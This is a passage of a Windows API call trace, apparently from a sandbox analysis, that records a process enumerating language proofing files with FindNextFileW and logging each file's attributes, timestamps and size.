ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x59c, dwReserved0=0x0, dwReserved1=0x0, cFileName="grm.fca", cAlternateFileName="")) returned 1 [0238.493] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dedfba0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb400, dwReserved0=0x0, dwReserved1=0x0, cFileName="grm.hyp", cAlternateFileName="")) returned 1 [0238.493] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7de938e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x98af7, dwReserved0=0x0, dwReserved1=0x0, cFileName="grm104.hsp", cAlternateFileName="")) returned 1 [0238.493] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dedfba0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="grm32.clx", cAlternateFileName="")) returned 1 [0238.493] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7de938e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc0c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="grm92.ths", cAlternateFileName="")) returned 1 [0238.493] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e1411a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x270, dwReserved0=0x0, dwReserved1=0x0, cFileName="heb.fca", cAlternateFileName="")) returned 1 [0238.493] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e1411a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="heb.hyp", cAlternateFileName="")) returned 1 [0238.493] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e1411a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb47de, dwReserved0=0x0, dwReserved1=0x0, cFileName="heb134.hsp", cAlternateFileName="")) returned 1 [0240.348] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e1411a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7fff, dwReserved0=0x0, dwReserved1=0x0, cFileName="heb32.clx", cAlternateFileName="")) returned 1 [0240.348] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e3c8900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="hrv.hyp", cAlternateFileName="")) returned 1 [0240.348] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e3eea60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x97000, dwReserved0=0x0, dwReserved1=0x0, cFileName="hrv132.lex", cAlternateFileName="")) returned 1 [0240.348] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e3eea60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7ffe, dwReserved0=0x0, dwReserved1=0x0, cFileName="hrv32.clx", cAlternateFileName="")) returned 1 [0240.348] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e1ff880, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1f21, dwReserved0=0x0, dwReserved1=0x0, cFileName="hrvphon.env", cAlternateFileName="")) returned 1 [0240.348] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e0ced80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0x0, dwReserved1=0x0, cFileName="hun.fca", cAlternateFileName="")) returned 1 [0240.348] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e0f4ee0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="hun.hyp", cAlternateFileName="")) returned 1 [0240.348] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e0ced80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9eeb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="hun109.hsp", cAlternateFileName="")) returned 1 [0240.348] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e0f4ee0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7ff2, dwReserved0=0x0, dwReserved1=0x0, cFileName="hun32.clx", cAlternateFileName="")) returned 1 [0240.348] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7de6d780, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="itl.fca", cAlternateFileName="")) returned 1 [0240.348] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7de6d780, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="itl.hyp", cAlternateFileName="")) returned 1 [0240.349] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7de6d780, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2efe4, dwReserved0=0x0, dwReserved1=0x0, cFileName="itl26.hsp", cAlternateFileName="")) returned 1 [0240.349] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7de6d780, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7ffb, dwReserved0=0x0, dwReserved1=0x0, cFileName="itl32.clx", cAlternateFileName="")) returned 1 [0240.349] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7de6d780, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2e000, dwReserved0=0x0, dwReserved1=0x0, cFileName="itl61.ths", cAlternateFileName="")) returned 1 [0240.349] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e0ced80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3400, dwReserved0=0x0, dwReserved1=0x0, cFileName="lav.hyp", cAlternateFileName="")) returned 1 [0240.349] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e0a8c20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="lav135.lex", cAlternateFileName="")) returned 1 [0240.349] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e0ced80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7ff2, dwReserved0=0x0, dwReserved1=0x0, cFileName="lav32.clx", cAlternateFileName="")) returned 1 [0240.349] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e0ced80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="lavphon.env", cAlternateFileName="")) returned 1 [0240.349] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e0a8c20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="lit.hyp", cAlternateFileName="")) returned 1 [0240.349] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e0a8c20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x73800, dwReserved0=0x0, dwReserved1=0x0, cFileName="lit136.lex", cAlternateFileName="")) returned 1 [0240.349] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e0a8c20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7ffe, dwReserved0=0x0, dwReserved1=0x0, cFileName="lit32.clx", cAlternateFileName="")) returned 1 [0240.349] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e0a8c20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa58, dwReserved0=0x0, dwReserved1=0x0, cFileName="litphon.env", cAlternateFileName="")) returned 1 [0240.349] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7de47620, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x47c, dwReserved0=0x0, dwReserved1=0x0, cFileName="nrw.fca", cAlternateFileName="")) returned 1 [0240.349] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7de47620, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="nrw.hyp", cAlternateFileName="")) returned 1 [0240.349] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7de6d780, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7ff1, dwReserved0=0x0, dwReserved1=0x0, cFileName="nrw32.clx", cAlternateFileName="")) returned 1 [0240.349] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7de6d780, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4669e, dwReserved0=0x0, dwReserved1=0x0, cFileName="nrw38.hsp", cAlternateFileName="")) returned 1 [0240.350] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7de47620, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x57400, dwReserved0=0x0, dwReserved1=0x0, cFileName="nrw56.ths", cAlternateFileName="")) returned 1 [0240.350] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7de47620, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x48c, dwReserved0=0x0, dwReserved1=0x0, cFileName="nyn.fca", cAlternateFileName="")) returned 1 [0240.350] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7de214c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="nyn.hyp", cAlternateFileName="")) returned 1 [0240.350] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7de214c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3bfc, dwReserved0=0x0, dwReserved1=0x0, cFileName="nyn16.clx", cAlternateFileName="")) returned 1 [0240.350] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7de47620, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3b11d, dwReserved0=0x0, dwReserved1=0x0, cFileName="nyn47.hsp", cAlternateFileName="")) returned 1 [0240.350] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e082ac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="pol.fca", cAlternateFileName="")) returned 1 [0240.350] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e082ac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="pol.hyp", cAlternateFileName="")) returned 1 [0240.350] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e0a8c20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xafcef, dwReserved0=0x0, dwReserved1=0x0, cFileName="pol103.hsp", cAlternateFileName="")) returned 1 [0240.350] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e082ac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7ffe, dwReserved0=0x0, dwReserved1=0x0, cFileName="pol32.clx", cAlternateFileName="")) returned 1 [0240.477] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7de214c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="prt.fca", cAlternateFileName="")) returned 1 [0240.477] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7de214c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="prt.hyp", cAlternateFileName="")) returned 1 [0240.477] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddfb360, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7fec, dwReserved0=0x0, dwReserved1=0x0, cFileName="prt32.clx", cAlternateFileName="")) returned 1 [0240.477] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7de214c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1766c, dwReserved0=0x0, dwReserved1=0x0, cFileName="prt39.hsp", cAlternateFileName="")) returned 1 [0240.477] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e05c960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="rum.hyp", cAlternateFileName="")) returned 1 